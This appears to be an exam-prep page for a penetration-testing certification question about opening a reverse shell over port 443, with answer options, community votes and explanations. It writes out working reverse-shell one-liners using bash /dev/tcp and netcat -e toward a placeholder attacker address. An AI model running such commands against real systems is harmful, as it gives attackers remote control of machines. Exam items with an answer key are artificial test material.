PT0-001 · Question #37
A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker…
The correct answer is D. bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1. The bash built-in /dev/tcp pseudo-device allows creating a reverse TCP shell without external tools, making it reliable and ideal for exfiltrating a shell over port 443 which is commonly permitted outbound.
Question
A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?
Options
- Aperl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443;
- Bssh superadmin@<DESTINATIONIP> -p 443
- Cnc -e /bin/sh <SOURCEIP> 443
- Dbash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1
How the community answered
(34 responses)- A3% (1)
- B9% (3)
- C6% (2)
- D82% (28)
Why each option
The bash built-in /dev/tcp pseudo-device allows creating a reverse TCP shell without external tools, making it reliable and ideal for exfiltrating a shell over port 443 which is commonly permitted outbound.
The Perl snippet is syntactically malformed with unclosed strings and missing semicolons, so it would fail to parse and execute, and it references SOURCEIP rather than the attacker's destination address.
SSH establishes a forward outbound connection requiring valid credentials on the destination and creates an authenticated login session, not a reverse shell tunneled from the victim back to the attacker.
Netcat's -e flag is compiled out of many modern Linux distributions for security reasons, making this method unreliable across varied targets compared to the universally available bash built-in.
The command bash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1 uses bash's built-in /dev/tcp mechanism to open an outbound TCP connection to the attacker's machine on port 443, then redirects the interactive shell's stdin, stdout, and stderr through that connection. This approach requires no additional installed binaries beyond bash itself, and leverages port 443 which is almost universally allowed outbound through corporate firewalls, making detection and blocking difficult.
Concept tested: Bash reverse shell using built-in /dev/tcp redirection
Source: https://www.gnu.org/software/bash/manual/bash.html#Redirections
Topics
Community Discussion
No community discussion yet for this question.